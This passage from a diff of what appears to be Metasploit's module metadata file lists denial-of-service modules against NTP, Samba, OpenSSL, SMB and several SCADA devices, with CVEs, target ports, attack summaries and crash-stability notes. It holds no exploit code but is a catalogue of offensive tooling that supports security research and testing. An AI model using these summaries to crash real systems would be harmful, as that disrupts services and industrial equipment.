"Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/ntp/ntpd_reserved_dos": { "name": "NTP.org ntpd Reserved Mode Denial of Service", "fullname": "auxiliary/dos/ntp/ntpd_reserved_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-10-04", "type": "auxiliary", "author": [ "todb " ], - "description": "This module exploits a denial of service vulnerability\n within the NTP (network time protocol) demon. By sending\n a single packet to a vulnerable ntpd server (Victim A),\n spoofed from the IP address of another vulnerable ntpd server\n (Victim B), both victims will enter an infinite response loop.\n Note, unless you control the spoofed source host or the real\n remote host(s), you will not be able to halt the DoS condition\n once begun!", + "description": "This module exploits a denial of service vulnerability\n within the NTP (network time protocol) demon. By sending\n a single packet to a vulnerable ntpd server (Victim A),\n spoofed from the IP address of another vulnerable ntpd server\n (Victim B), both victims will enter an infinite response loop.\n Note, unless you control the spoofed source host or the real\n remote host(s), you will not be able to halt the DoS condition\n once begun!", "references": [ "BID-37255", "CVE-2009-3563", @@ -15877,14 +15772,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb", "is_install_path": true, "ref_name": "dos/ntp/ntpd_reserved_dos", @@ -15892,26 +15783,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/pptp/ms02_063_pptp_dos": { "name": "MS02-063 PPTP Malformed Control Data Kernel Denial of Service", "fullname": "auxiliary/dos/pptp/ms02_063_pptp_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2002-09-26", "type": "auxiliary", "author": [ "aushack " ], - "description": "This module exploits a kernel based overflow when sending abnormal PPTP Control Data\n packets\tto Microsoft Windows 2000 SP0-3 and XP SP0-1 based PPTP RAS servers\n (Remote Access Services). Kernel memory is overwritten resulting in a BSOD.\n Code execution may be possible however this module is only a DoS.", + "description": "This module exploits a kernel based overflow when sending abnormal PPTP Control Data\n packets\tto Microsoft Windows 2000 SP0-3 and XP SP0-1 based PPTP RAS servers\n (Remote Access Services). Kernel memory is overwritten resulting in a BSOD.\n Code execution may be possible however this module is only a DoS.", "references": [ "BID-5807", "CVE-2002-1214", @@ -15921,14 +15813,10 @@ "platform": "", "arch": "", "rport": 1723, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb", "is_install_path": true, "ref_name": "dos/pptp/ms02_063_pptp_dos", @@ -15936,19 +15824,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-os-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/rpc/rpcbomb": { "name": "RPC DoS targeting *nix rpcbind/libtirpc", "fullname": "auxiliary/dos/rpc/rpcbomb", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -15956,7 +15845,7 @@ "guidovranken", "Pearce Barry " ], - "description": "This module exploits a vulnerability in certain versions of\n rpcbind, LIBTIRPC, and NTIRPC, allowing an attacker to trigger\n large (and never freed) memory allocations for XDR strings on\n the target.", + "description": "This module exploits a vulnerability in certain versions of\n rpcbind, LIBTIRPC, and NTIRPC, allowing an attacker to trigger\n large (and never freed) memory allocations for XDR strings on\n the target.", "references": [ "CVE-2017-8779", "BID-98325", @@ -15965,14 +15854,10 @@ "platform": "", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/rpc/rpcbomb.rb", "is_install_path": true, "ref_name": "dos/rpc/rpcbomb", @@ -15980,26 +15865,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/samba/lsa_addprivs_heap": { "name": "Samba lsa_io_privilege_set Heap Overflow", "fullname": "auxiliary/dos/samba/lsa_addprivs_heap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module triggers a heap overflow in the LSA RPC service\n of the Samba daemon.", + "description": "This module triggers a heap overflow in the LSA RPC service\n of the Samba daemon.", "references": [ "CVE-2007-2446", "OSVDB-34699" @@ -16016,7 +15902,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb", "is_install_path": true, "ref_name": "dos/samba/lsa_addprivs_heap", @@ -16024,26 +15910,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/samba/lsa_transnames_heap": { "name": "Samba lsa_io_trans_names Heap Overflow", "fullname": "auxiliary/dos/samba/lsa_transnames_heap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module triggers a heap overflow in the LSA RPC service\n of the Samba daemon.", + "description": "This module triggers a heap overflow in the LSA RPC service\n of the Samba daemon.", "references": [ "CVE-2007-2446", "OSVDB-34699" @@ -16060,7 +15947,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/samba/lsa_transnames_heap.rb", "is_install_path": true, "ref_name": "dos/samba/lsa_transnames_heap", @@ -16068,19 +15955,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/samba/read_nttrans_ea_list": { "name": "Samba read_nttrans_ea_list Integer Overflow", "fullname": "auxiliary/dos/samba/read_nttrans_ea_list", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16088,7 +15976,7 @@ "Jeremy Allison", "dz_lnly" ], - "description": "Integer overflow in the read_nttrans_ea_list function in nttrans.c in\n smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before\n 4.0.8 allows remote attackers to cause a denial of service (memory\n consumption) via a malformed packet. Important Note: in order to work,\n the \"ea support\" option on the target share must be enabled.", + "description": "Integer overflow in the read_nttrans_ea_list function in nttrans.c in\n smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before\n 4.0.8 allows remote attackers to cause a denial of service (memory\n consumption) via a malformed packet. Important Note: in order to work,\n the \"ea support\" option on the target share must be enabled.", "references": [ "OSVDB-95969", "BID-61597", @@ -16107,7 +15995,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2021-01-28 10:35:25 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb", "is_install_path": true, "ref_name": "dos/samba/read_nttrans_ea_list", @@ -16115,19 +16003,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/sap/sap_soap_rfc_eps_delete_file": { "name": "SAP SOAP EPS_DELETE_FILE File Deletion", "fullname": "auxiliary/dos/sap/sap_soap_rfc_eps_delete_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16160,7 +16049,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb", "is_install_path": true, "ref_name": "dos/sap/sap_soap_rfc_eps_delete_file", @@ -16168,19 +16057,20 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/scada/allen_bradley_pccc": { "name": "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)", "fullname": "auxiliary/dos/scada/allen_bradley_pccc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16193,19 +16083,15 @@ "references": [ "CVE-2017-7924", "URL-https://www.cisa.gov/uscert/ics/advisories/ICSA-17-138-03", - "URL-https://dl.acm.org/doi/10.1145/3174776.3174780" + "URL-https://web.archive.org/web/20250116210051/https://dl.acm.org/doi/10.1145/3174776.3174780" ], "platform": "", "arch": "", "rport": 44818, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/scada/allen_bradley_pccc.rb", "is_install_path": true, "ref_name": "dos/scada/allen_bradley_pccc", @@ -16213,19 +16099,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/scada/beckhoff_twincat": { "name": "Beckhoff TwinCAT SCADA PLC 2.11.0.2004 DoS", "fullname": "auxiliary/dos/scada/beckhoff_twincat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-09-13", "type": "auxiliary", @@ -16233,7 +16120,7 @@ "Luigi Auriemma", "jfa" ], - "description": "The Beckhoff TwinCAT version <= 2.11.0.2004 can be brought down by sending\n a crafted UDP packet to port 48899 (TCATSysSrv.exe).", + "description": "The Beckhoff TwinCAT version <= 2.11.0.2004 can be brought down by sending\n a crafted UDP packet to port 48899 (TCATSysSrv.exe).", "references": [ "CVE-2011-3486", "OSVDB-75495", @@ -16242,14 +16129,10 @@ "platform": "", "arch": "", "rport": 48899, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/scada/beckhoff_twincat.rb", "is_install_path": true, "ref_name": "dos/scada/beckhoff_twincat", @@ -16257,19 +16140,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/scada/d20_tftp_overflow": { "name": "General Electric D20ME TFTP Server Buffer Overflow DoS", "fullname": "auxiliary/dos/scada/d20_tftp_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-19", "type": "auxiliary", @@ -16277,21 +16161,17 @@ "K. Reid Wightman ", "todb " ], - "description": "By sending a malformed TFTP request to the GE D20ME, it is possible to crash the\n device.\n\n This module is based on the original 'd20ftpbo.rb' Basecamp module from\n DigitalBond.", + "description": "By sending a malformed TFTP request to the GE D20ME, it is possible to crash the\n device.\n\n This module is based on the original 'd20ftpbo.rb' Basecamp module from\n DigitalBond.", "references": [ "URL-http://www.digitalbond.com/tools/basecamp/metasploit-modules/" ], "platform": "", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2021-01-28 10:35:25 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/scada/d20_tftp_overflow.rb", "is_install_path": true, "ref_name": "dos/scada/d20_tftp_overflow", @@ -16299,26 +16179,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/scada/igss9_dataserver": { "name": "7-Technologies IGSS 9 IGSSdataServer.exe DoS", "fullname": "auxiliary/dos/scada/igss9_dataserver", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-12-20", "type": "auxiliary", "author": [ "jfa" ], - "description": "The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be\n brought down by sending a crafted TCP packet to port 12401. This should also work\n for version <= 9.0.0.1120, but that version hasn't been tested.", + "description": "The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be\n brought down by sending a crafted TCP packet to port 12401. This should also work\n for version <= 9.0.0.1120, but that version hasn't been tested.", "references": [ "CVE-2011-4050", "OSVDB-77976", @@ -16327,14 +16208,10 @@ "platform": "", "arch": "", "rport": 12401, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/scada/igss9_dataserver.rb", "is_install_path": true, "ref_name": "dos/scada/igss9_dataserver", @@ -16342,41 +16219,39 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/scada/siemens_siprotec4": { "name": "Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module - Denial of Service", "fullname": "auxiliary/dos/scada/siemens_siprotec4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "M. Can Kurnaz" ], - "description": "This module sends a specially crafted packet to port 50000/UDP\n causing a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) devices.\n A manual reboot is required to return the device to service.\n CVE-2015-5374 and a CVSS v2 base score of 7.8 have been assigned to this vulnerability.", + "description": "This module sends a specially crafted packet to port 50000/UDP\n causing a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) devices.\n A manual reboot is required to return the device to service.\n CVE-2015-5374 and a CVSS v2 base score of 7.8 have been assigned to this vulnerability.", "references": [ + "CVE-2015-5374", "EDB-44103", "URL-https://www.cisa.gov/uscert/ics/advisories/ICSA-15-202-01" ], "platform": "", "arch": "", "rport": 50000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/scada/siemens_siprotec4.rb", "is_install_path": true, "ref_name": "dos/scada/siemens_siprotec4", @@ -16384,19 +16259,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/scada/yokogawa_logsvr": { "name": "Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow", "fullname": "auxiliary/dos/scada/yokogawa_logsvr", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-10", "type": "auxiliary", @@ -16404,23 +16280,19 @@ "juan vazquez ", "Redsadic " ], - "description": "This module abuses a buffer overflow vulnerability to trigger a Denial of Service\n of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability\n exists in the handling of malformed log packets, with an unexpected long level field.\n The root cause of the vulnerability is a combination of usage of uninitialized memory\n from the stack and a dangerous string copy. This module has been tested successfully\n on Yokogawa CENTUM CS 3000 R3.08.50.", + "description": "This module abuses a buffer overflow vulnerability to trigger a Denial of Service\n of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability\n exists in the handling of malformed log packets, with an unexpected long level field.\n The root cause of the vulnerability is a combination of usage of uninitialized memory\n from the stack and a dangerous string copy. This module has been tested successfully\n on Yokogawa CENTUM CS 3000 R3.08.50.", "references": [ "URL-http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf", - "URL-https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities/", + "URL-https://web.archive.org/web/20221209030848/https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities/", "CVE-2014-0781" ], "platform": "", "arch": "", "rport": 52302, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/scada/yokogawa_logsvr.rb", "is_install_path": true, "ref_name": "dos/scada/yokogawa_logsvr", @@ -16428,19 +16300,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/smb/smb_loris": { "name": "SMBLoris NBSS Denial of Service", "fullname": "auxiliary/dos/smb/smb_loris", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-06-29", "type": "auxiliary", @@ -16448,7 +16321,7 @@ "thelightcosine", "Adam Cammack " ], - "description": "The SMBLoris attack consumes large chunks of memory in the target by sending\n SMB requests with the NetBios Session Service(NBSS) Length Header value set\n to the maximum possible value. By keeping these connections open and initiating\n large numbers of these sessions, the memory does not get freed, and the server\n grinds to a halt. This vulnerability was originally disclosed by Sean Dillon\n and Zach Harding.\n\n DISCALIMER: This module opens a lot of simultaneous connections. Please check\n your system's ULIMIT to make sure it can handle it. This module will also run\n continuously until stopped.", + "description": "The SMBLoris attack consumes large chunks of memory in the target by sending\n SMB requests with the NetBios Session Service(NBSS) Length Header value set\n to the maximum possible value. By keeping these connections open and initiating\n large numbers of these sessions, the memory does not get freed, and the server\n grinds to a halt. This vulnerability was originally disclosed by Sean Dillon\n and Zach Harding.\n\n DISCLAIMER: This module opens a lot of simultaneous connections. Please check\n your system's ULIMIT to make sure it can handle it. This module will also run\n continuously until stopped.", "references": [ "URL-https://web.archive.org/web/20170804072329/https://smbloris.com/", "AKA-SMBLoris" @@ -16456,41 +16329,32 @@ "platform": "", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-15 19:21:57 +0000", "path": "/modules/auxiliary/dos/smb/smb_loris.rb", "is_install_path": true, "ref_name": "dos/smb/smb_loris", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/smtp/sendmail_prescan": { "name": "Sendmail SMTP Address prescan Memory Corruption", "fullname": "auxiliary/dos/smtp/sendmail_prescan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-09-17", "type": "auxiliary", "author": [ "aushack " ], - "description": "This is a proof of concept denial of service module for Sendmail versions\n 8.12.8 and earlier. The vulnerability is within the prescan() method when\n parsing SMTP headers. Due to the prescan function, only 0x5c and 0x00\n bytes can be used, limiting the likelihood for arbitrary code execution.", + "description": "This is a proof of concept denial of service module for Sendmail versions\n 8.12.8 and earlier. The vulnerability is within the prescan() method when\n parsing SMTP headers. Due to the prescan function, only 0x5c and 0x00\n bytes can be used, limiting the likelihood for arbitrary code execution.", "references": [ "OSVDB-2577", "CVE-2003-0694", @@ -16513,7 +16377,7 @@ "smtps" ], "targets": null, - "mod_time": "2023-01-04 14:45:58 +0000", + "mod_time": "2025-06-02 16:05:31 +0000", "path": "/modules/auxiliary/dos/smtp/sendmail_prescan.rb", "is_install_path": true, "ref_name": "dos/smtp/sendmail_prescan", @@ -16521,19 +16385,23 @@ "post_auth": false, "default_credential": false, "notes": { + "AKA": [ + "EARLYSHOVEL" + ], + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/solaris/lpd/cascade_delete": { "name": "Solaris LPD Arbitrary File Delete", "fullname": "auxiliary/dos/solaris/lpd/cascade_delete", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16541,7 +16409,7 @@ "hdm ", "Optyx " ], - "description": "This module uses a vulnerability in the Solaris line printer\n daemon to delete arbitrary files on an affected system. This\n can be used to exploit the rpc.walld format string flaw, the\n missing krb5.conf authentication bypass, or simply delete\n system files. Tested on Solaris 2.6, 7, 8, 9, and 10.", + "description": "This module uses a vulnerability in the Solaris line printer\n daemon to delete arbitrary files on an affected system. This\n can be used to exploit the rpc.walld format string flaw, the\n missing krb5.conf authentication bypass, or simply delete\n system files. Tested on Solaris 2.6, 7, 8, 9, and 10.", "references": [ "CVE-2005-4797", "BID-14510", @@ -16550,14 +16418,10 @@ "platform": "", "arch": "", "rport": 515, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb", "is_install_path": true, "ref_name": "dos/solaris/lpd/cascade_delete", @@ -16565,19 +16429,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "service-resource-loss" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/ssl/dtls_changecipherspec": { "name": "OpenSSL DTLS ChangeCipherSpec Remote DoS", "fullname": "auxiliary/dos/ssl/dtls_changecipherspec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2000-04-26", "type": "auxiliary", @@ -16585,7 +16450,7 @@ "Jon Oberheide ", "theLightCosine " ], - "description": "This module performs a Denial of Service Attack against Datagram TLS in OpenSSL\n version 0.9.8i and earlier. OpenSSL crashes under these versions when it receives a\n ChangeCipherspec Datagram before a ClientHello.", + "description": "This module performs a Denial of Service Attack against Datagram TLS in OpenSSL\n version 0.9.8i and earlier. OpenSSL crashes under these versions when it receives a\n ChangeCipherspec Datagram before a ClientHello.", "references": [ "CVE-2009-1386", "OSVDB-55073" @@ -16593,14 +16458,10 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb", "is_install_path": true, "ref_name": "dos/ssl/dtls_changecipherspec", @@ -16608,19 +16469,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/ssl/dtls_fragment_overflow": { "name": "OpenSSL DTLS Fragment Buffer Overflow DoS", "fullname": "auxiliary/dos/ssl/dtls_fragment_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-06-05", "type": "auxiliary", @@ -16628,25 +16490,21 @@ "Juri Aedla ", "Jon Hart " ], - "description": "This module performs a Denial of Service Attack against Datagram TLS in\n OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.\n This occurs when a DTLS ClientHello message has multiple fragments and the\n fragment lengths of later fragments are larger than that of the first, a\n buffer overflow occurs, causing a DoS.", + "description": "This module performs a Denial of Service Attack against Datagram TLS in\n OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.\n This occurs when a DTLS ClientHello message has multiple fragments and the\n fragment lengths of later fragments are larger than that of the first, a\n buffer overflow occurs, causing a DoS.", "references": [ "CVE-2014-0195", "ZDI-14-173", "BID-67900", - "URL-http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002", - "URL-http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048" + "URL-http://web.archive.org/web/20150815024234/http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002", + "URL-http://web.archive.org/web/20140707160621/http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048" ], "platform": "", "arch": "", "rport": 4433, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb", "is_install_path": true, "ref_name": "dos/ssl/dtls_fragment_overflow", @@ -16654,26 +16512,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/ssl/openssl_aesni": { "name": "OpenSSL TLS 1.1 and 1.2 AES-NI DoS", "fullname": "auxiliary/dos/ssl/openssl_aesni", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-05", "type": "auxiliary", "author": [ "Wolfgang Ettlinger " ], - "description": "The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the\n length of an encrypted message when used with a TLS version 1.1 or above. This\n leads to an integer underflow which can cause a DoS. The vulnerable function\n aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL.\n This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default\n OpenSSL 1.0.1c package.", + "description": "The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the\n length of an encrypted message when used with a TLS version 1.1 or above. This\n leads to an integer underflow which can cause a DoS. The vulnerable function\n aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL.\n This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default\n OpenSSL 1.0.1c package.", "references": [ "CVE-2012-2686", "URL-https://www.openssl.org/news/secadv/20130205.txt" @@ -16681,14 +16540,10 @@ "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/ssl/openssl_aesni.rb", "is_install_path": true, "ref_name": "dos/ssl/openssl_aesni", @@ -16696,19 +16551,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/syslog/rsyslog_long_tag": { "name": "rsyslog Long Tag Off-By-Two DoS", "fullname": "auxiliary/dos/syslog/rsyslog_long_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-09-01", "type": "auxiliary", @@ -16724,14 +16580,10 @@ "platform": "", "arch": "", "rport": 514, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb", "is_install_path": true, "ref_name": "dos/syslog/rsyslog_long_tag", @@ -16739,19 +16591,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/tcp/claymore_dos": { "name": "Claymore Dual GPU Miner Format String dos attack", "fullname": "auxiliary/dos/tcp/claymore_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-02-06", "type": "auxiliary", @@ -16768,12 +16621,8 @@ "platform": "", "arch": "", "rport": 3333, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-05-17 17:04:49 +0000", "path": "/modules/auxiliary/dos/tcp/claymore_dos.py", @@ -16782,20 +16631,15 @@ "check": false, "post_auth": false, 